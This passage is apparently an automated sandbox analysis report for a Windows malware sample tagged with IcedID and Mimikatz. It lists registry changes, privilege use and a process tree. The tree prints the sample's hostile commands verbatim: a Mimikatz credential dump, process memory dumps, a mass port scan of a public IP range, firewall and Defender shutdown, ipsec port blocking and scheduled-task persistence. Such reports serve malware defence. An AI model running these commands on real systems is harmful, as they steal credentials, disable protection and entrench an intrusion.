\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump aeytjhyzj.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" aeytjhyzj.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" aeytjhyzj.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" aeytjhyzj.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ mghfsiy.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump aeytjhyzj.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" aeytjhyzj.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump aeytjhyzj.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" aeytjhyzj.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" aeytjhyzj.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals aeytjhyzj.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump aeytjhyzj.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" aeytjhyzj.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump aeytjhyzj.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump aeytjhyzj.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" aeytjhyzj.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" aeytjhyzj.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" aeytjhyzj.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" aeytjhyzj.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump aeytjhyzj.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" aeytjhyzj.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" mghfsiy.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump aeytjhyzj.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump aeytjhyzj.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump aeytjhyzj.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" aeytjhyzj.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing aeytjhyzj.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump aeytjhyzj.exe -
Modifies registry class 14 IoCs
Processes:
mghfsiy.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" mghfsiy.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" mghfsiy.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ mghfsiy.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
mghfsiy.exepid process 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe -
Suspicious behavior: LoadsDriver 15 IoCs
Processes:
pid process 660 660 660 660 660 660 660 660 660 660 660 660 660 660 660 -
Suspicious behavior: RenamesItself 1 IoCs
Processes:
2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exepid process 3552 2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
Processes:
2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exemghfsiy.exemghfsiy.exevfshost.exeaeytjhyzj.exebftlbj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exeaeytjhyzj.exedescription pid process Token: SeDebugPrivilege 3552 2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 2880 mghfsiy.exe Token: SeDebugPrivilege 3368 mghfsiy.exe Token: SeDebugPrivilege 1044 vfshost.exe Token: SeDebugPrivilege 4460 aeytjhyzj.exe Token: SeLockMemoryPrivilege 3520 bftlbj.exe Token: SeLockMemoryPrivilege 3520 bftlbj.exe Token: SeDebugPrivilege 1300 aeytjhyzj.exe Token: SeDebugPrivilege 412 aeytjhyzj.exe Token: SeDebugPrivilege 2340 aeytjhyzj.exe Token: SeDebugPrivilege 4232 aeytjhyzj.exe Token: SeDebugPrivilege 184 aeytjhyzj.exe Token: SeDebugPrivilege 4128 aeytjhyzj.exe Token: SeDebugPrivilege 4116 aeytjhyzj.exe Token: SeDebugPrivilege 3552 aeytjhyzj.exe Token: SeDebugPrivilege 2872 aeytjhyzj.exe Token: SeDebugPrivilege 2584 aeytjhyzj.exe Token: SeDebugPrivilege 4892 aeytjhyzj.exe Token: SeDebugPrivilege 2212 aeytjhyzj.exe Token: SeDebugPrivilege 1952 aeytjhyzj.exe Token: SeDebugPrivilege 2724 aeytjhyzj.exe Token: SeDebugPrivilege 2696 aeytjhyzj.exe Token: SeDebugPrivilege 4760 aeytjhyzj.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exemghfsiy.exemghfsiy.exexohudmc.exexchlyg.exemghfsiy.exemghfsiy.exepid process 3552 2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe 3552 2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe 2880 mghfsiy.exe 2880 mghfsiy.exe 3368 mghfsiy.exe 3368 mghfsiy.exe 376 xohudmc.exe 632 xchlyg.exe 2984 mghfsiy.exe 2984 mghfsiy.exe 4532 mghfsiy.exe 4532 mghfsiy.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.execmd.exemghfsiy.execmd.execmd.exewpcap.exenet.exenet.exenet.exedescription pid process target process PID 3552 wrote to memory of 1424 3552 2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe cmd.exe PID 3552 wrote to memory of 1424 3552 2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe cmd.exe PID 3552 wrote to memory of 1424 3552 2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe cmd.exe PID 1424 wrote to memory of 3656 1424 cmd.exe PING.EXE PID 1424 wrote to memory of 3656 1424 cmd.exe PING.EXE PID 1424 wrote to memory of 3656 1424 cmd.exe PING.EXE PID 1424 wrote to memory of 2880 1424 cmd.exe mghfsiy.exe PID 1424 wrote to memory of 2880 1424 cmd.exe mghfsiy.exe PID 1424 wrote to memory of 2880 1424 cmd.exe mghfsiy.exe PID 3368 wrote to memory of 1348 3368 mghfsiy.exe cmd.exe PID 3368 wrote to memory of 1348 3368 mghfsiy.exe cmd.exe PID 3368 wrote to memory of 1348 3368 mghfsiy.exe cmd.exe PID 1348 wrote to memory of 3556 1348 cmd.exe cmd.exe PID 1348 wrote to memory of 3556 1348 cmd.exe cmd.exe PID 1348 wrote to memory of 3556 1348 cmd.exe cmd.exe PID 1348 wrote to memory of 4528 1348 cmd.exe cacls.exe PID 1348 wrote to memory of 4528 1348 cmd.exe cacls.exe PID 1348 wrote to memory of 4528 1348 cmd.exe cacls.exe PID 1348 wrote to memory of 1416 1348 cmd.exe cmd.exe PID 1348 wrote to memory of 1416 1348 cmd.exe cmd.exe PID 1348 wrote to memory of 1416 1348 cmd.exe cmd.exe PID 1348 wrote to memory of 3236 1348 cmd.exe cacls.exe PID 1348 wrote to memory of 3236 1348 cmd.exe cacls.exe PID 1348 wrote to memory of 3236 1348 cmd.exe cacls.exe PID 1348 wrote to memory of 4144 1348 cmd.exe cmd.exe PID 1348 wrote to memory of 4144 1348 cmd.exe cmd.exe PID 1348 wrote to memory of 4144 1348 cmd.exe cmd.exe PID 1348 wrote to memory of 808 1348 cmd.exe cacls.exe PID 1348 wrote to memory of 808 1348 cmd.exe cacls.exe PID 1348 wrote to memory of 808 1348 cmd.exe cacls.exe PID 3368 wrote to memory of 4076 3368 mghfsiy.exe netsh.exe PID 3368 wrote to memory of 4076 3368 mghfsiy.exe netsh.exe PID 3368 wrote to memory of 4076 3368 mghfsiy.exe netsh.exe PID 3368 wrote to memory of 1464 3368 mghfsiy.exe netsh.exe PID 3368 wrote to memory of 1464 3368 mghfsiy.exe netsh.exe PID 3368 wrote to memory of 1464 3368 mghfsiy.exe netsh.exe PID 3368 wrote to memory of 3180 3368 mghfsiy.exe netsh.exe PID 3368 wrote to memory of 3180 3368 mghfsiy.exe netsh.exe PID 3368 wrote to memory of 3180 3368 mghfsiy.exe netsh.exe PID 3368 wrote to memory of 4588 3368 mghfsiy.exe cmd.exe PID 3368 wrote to memory of 4588 3368 mghfsiy.exe cmd.exe PID 3368 wrote to memory of 4588 3368 mghfsiy.exe cmd.exe PID 4588 wrote to memory of 4896 4588 cmd.exe wpcap.exe PID 4588 wrote to memory of 4896 4588 cmd.exe wpcap.exe PID 4588 wrote to memory of 4896 4588 cmd.exe wpcap.exe PID 4896 wrote to memory of 4364 4896 wpcap.exe net.exe PID 4896 wrote to memory of 4364 4896 wpcap.exe net.exe PID 4896 wrote to memory of 4364 4896 wpcap.exe net.exe PID 4364 wrote to memory of 668 4364 net.exe net1.exe PID 4364 wrote to memory of 668 4364 net.exe net1.exe PID 4364 wrote to memory of 668 4364 net.exe net1.exe PID 4896 wrote to memory of 1136 4896 wpcap.exe net.exe PID 4896 wrote to memory of 1136 4896 wpcap.exe net.exe PID 4896 wrote to memory of 1136 4896 wpcap.exe net.exe PID 1136 wrote to memory of 4572 1136 net.exe net1.exe PID 1136 wrote to memory of 4572 1136 net.exe net1.exe PID 1136 wrote to memory of 4572 1136 net.exe net1.exe PID 4896 wrote to memory of 2020 4896 wpcap.exe net.exe PID 4896 wrote to memory of 2020 4896 wpcap.exe net.exe PID 4896 wrote to memory of 2020 4896 wpcap.exe net.exe PID 2020 wrote to memory of 2804 2020 net.exe net1.exe PID 2020 wrote to memory of 2804 2020 net.exe net1.exe PID 2020 wrote to memory of 2804 2020 net.exe net1.exe PID 4896 wrote to memory of 2236 4896 wpcap.exe net.exe
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1820
-
C:\Windows\TEMP\kufytdyac\bftlbj.exe"C:\Windows\TEMP\kufytdyac\bftlbj.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3520
-
C:\Users\Admin\AppData\Local\Temp\2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-04-08_b3a02a6011735502877f18382c0ca97a_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3552 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\atiufaue\mghfsiy.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1424 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:3656 -
C:\Windows\atiufaue\mghfsiy.exeC:\Windows\atiufaue\mghfsiy.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2880
-
C:\Windows\atiufaue\mghfsiy.exeC:\Windows\atiufaue\mghfsiy.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3368 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:1348 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3556
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:4528
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1416
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:3236
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:4144
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:808
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵PID:4076
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵PID:1464
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵PID:3180
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\kfesmkaky\ljlebekct\wpcap.exe /S2⤵
- Suspicious use of WriteProcessMemory
PID:4588 -
C:\Windows\kfesmkaky\ljlebekct\wpcap.exeC:\Windows\kfesmkaky\ljlebekct\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4896 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵
- Suspicious use of WriteProcessMemory
PID:4364 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:668
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵
- Suspicious use of WriteProcessMemory
PID:1136 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵PID:4572
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵
- Suspicious use of WriteProcessMemory
PID:2020 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵PID:2804
-
C:\Windows\SysWOW64\net.exenet start npf4⤵PID:2236
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵PID:4924
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:4800
-
C:\Windows\SysWOW64\net.exenet start npf3⤵PID:4272
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:3580
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:3672
-
C:\Windows\SysWOW64\net.exenet start npf3⤵PID:4044
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:4600
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\kfesmkaky\ljlebekct\myfdjeyae.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\kfesmkaky\ljlebekct\Scant.txt2⤵PID:808
-
C:\Windows\kfesmkaky\ljlebekct\myfdjeyae.exeC:\Windows\kfesmkaky\ljlebekct\myfdjeyae.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\kfesmkaky\ljlebekct\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5084 -
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\kfesmkaky\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\kfesmkaky\Corporate\log.txt2⤵
- Drops file in Windows directory
PID:1472 -
C:\Windows\kfesmkaky\Corporate\vfshost.exeC:\Windows\kfesmkaky\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1044 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ltiulrmai" /ru system /tr "cmd /c C:\Windows\ime\mghfsiy.exe"2⤵PID:2828
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2444
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "ltiulrmai" /ru system /tr "cmd /c C:\Windows\ime\mghfsiy.exe"3⤵
- Creates scheduled task(s)
PID:1028 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "fatclsyjp" /ru system /tr "cmd /c echo Y|cacls C:\Windows\atiufaue\mghfsiy.exe /p everyone:F"2⤵PID:1868
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:4940
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "fatclsyjp" /ru system /tr "cmd /c echo Y|cacls C:\Windows\atiufaue\mghfsiy.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:4764 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "dujatepye" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\kufytdyac\bftlbj.exe /p everyone:F"2⤵PID:3892
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3972
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "dujatepye" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\kufytdyac\bftlbj.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:1036 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵PID:5088
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵PID:2516
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:3052
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:3680
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵PID:3716
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵PID:4740
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:1488
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:3444
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵PID:2248
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵PID:4012
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:628
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:2324
-
C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵PID:4076
-
C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵PID:4604
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵PID:2512
-
C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵PID:3264
-
C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
PID:4156 -
C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵PID:4872
-
C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
PID:4564 -
C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵PID:3356
-
C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵PID:5036
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵PID:2020
-
C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵PID:3148
-
C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵PID:1136
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵PID:3336
-
C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵PID:1368
-
C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵PID:2628
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵PID:4728
-
C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵PID:5060
-
C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
PID:4628 -
C:\Windows\SysWOW64\cmd.execmd /c sc config SharedAccess start= disabled2⤵PID:5088
-
C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
PID:1044 -
C:\Windows\SysWOW64\cmd.execmd /c sc config WinDefend start= disabled2⤵PID:224
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
PID:3280 -
C:\Windows\SysWOW64\cmd.execmd /c sc config wuauserv start= disabled2⤵PID:2444
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
PID:3492 -
C:\Windows\TEMP\xohudmc.exeC:\Windows\TEMP\xohudmc.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:376 -
C:\Windows\TEMP\kfesmkaky\aeytjhyzj.exeC:\Windows\TEMP\kfesmkaky\aeytjhyzj.exe -accepteula -mp 784 C:\Windows\TEMP\kfesmkaky\784.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4460 -
C:\Windows\TEMP\kfesmkaky\aeytjhyzj.exeC:\Windows\TEMP\kfesmkaky\aeytjhyzj.exe -accepteula -mp 336 C:\Windows\TEMP\kfesmkaky\336.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1300 -
C:\Windows\TEMP\kfesmkaky\aeytjhyzj.exeC:\Windows\TEMP\kfesmkaky\aeytjhyzj.exe -accepteula -mp 1820 C:\Windows\TEMP\kfesmkaky\1820.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:412 -
C:\Windows\TEMP\kfesmkaky\aeytjhyzj.exeC:\Windows\TEMP\kfesmkaky\aeytjhyzj.exe -accepteula -mp 2528 C:\Windows\TEMP\kfesmkaky\2528.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2340 -
C:\Windows\TEMP\kfesmkaky\aeytjhyzj.exeC:\Windows\TEMP\kfesmkaky\aeytjhyzj.exe -accepteula -mp 2896 C:\Windows\TEMP\kfesmkaky\2896.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4232 -
C:\Windows\TEMP\kfesmkaky\aeytjhyzj.exeC:\Windows\TEMP\kfesmkaky\aeytjhyzj.exe -accepteula -mp 2208 C:\Windows\TEMP\kfesmkaky\2208.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:184 -
C:\Windows\TEMP\kfesmkaky\aeytjhyzj.exeC:\Windows\TEMP\kfesmkaky\aeytjhyzj.exe -accepteula -mp 3188 C:\Windows\TEMP\kfesmkaky\3188.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4128 -
C:\Windows\TEMP\kfesmkaky\aeytjhyzj.exeC:\Windows\TEMP\kfesmkaky\aeytjhyzj.exe -accepteula -mp 3788 C:\Windows\TEMP\kfesmkaky\3788.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4116 -
C:\Windows\TEMP\kfesmkaky\aeytjhyzj.exeC:\Windows\TEMP\kfesmkaky\aeytjhyzj.exe -accepteula -mp 3876 C:\Windows\TEMP\kfesmkaky\3876.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3552 -
C:\Windows\TEMP\kfesmkaky\aeytjhyzj.exeC:\Windows\TEMP\kfesmkaky\aeytjhyzj.exe -accepteula -mp 3948 C:\Windows\TEMP\kfesmkaky\3948.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2872 -
C:\Windows\TEMP\kfesmkaky\aeytjhyzj.exeC:\Windows\TEMP\kfesmkaky\aeytjhyzj.exe -accepteula -mp 4052 C:\Windows\TEMP\kfesmkaky\4052.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2584 -
C:\Windows\TEMP\kfesmkaky\aeytjhyzj.exeC:\Windows\TEMP\kfesmkaky\aeytjhyzj.exe -accepteula -mp 4160 C:\Windows\TEMP\kfesmkaky\4160.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4892 -
